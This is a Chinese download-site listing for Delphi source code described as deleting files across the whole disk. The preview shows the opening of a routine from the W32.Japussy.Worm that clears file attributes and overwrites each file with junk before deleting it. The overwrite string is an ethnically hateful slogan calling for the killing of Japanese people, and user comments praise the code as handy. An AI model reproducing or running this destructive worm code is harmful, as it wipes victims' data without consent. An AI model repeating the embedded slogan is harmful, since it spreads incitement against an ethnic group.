没有合适的资源?快使用搜索试试~ 我知道了~
delphi写的 删除文件的源代码
5星 · 超过95%的资源 需积分: 16 22 下载量 86 浏览量
2009-07-25
01:10:28
上传
评论 1
收藏 4KB DPR 举报
温馨提示
删除全盘文件的源代码 { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); const //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //
资源推荐
资源评论
资源评论
- yaochongchong2013-06-21非常好用,谢谢作者啦。删除是彻底删除的,在删除的位置写人了随机数
- weixin_391823802018-09-19很好用 谢谢分享
delphihack
- 粉丝: 0
- 资源: 1
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功